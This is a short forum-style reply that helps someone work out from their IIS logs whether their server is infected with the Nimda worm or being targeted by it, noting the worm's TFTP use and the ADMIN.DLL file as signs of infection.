    Oh, I didn't notice the followup questions you asked the first time.
    
    I don't know about the structure of your logs.  But are you 206.98.124.52?
    
    Could someone who reads IIS logs say if this is him sending or receiving
    GETs?
    
    And this is definitely Nimda.  I just don't know if you're the target or the
    culprit.  If you haven't upgraded, I'm tempting to believe you're infected
    and attacking others.  The TFTP command shows up only on or after infection.
    And ADMIN.DLL (Nimda is admin spelt backwards) is also something that shows
    up after infection.  But then you say you don't have it...
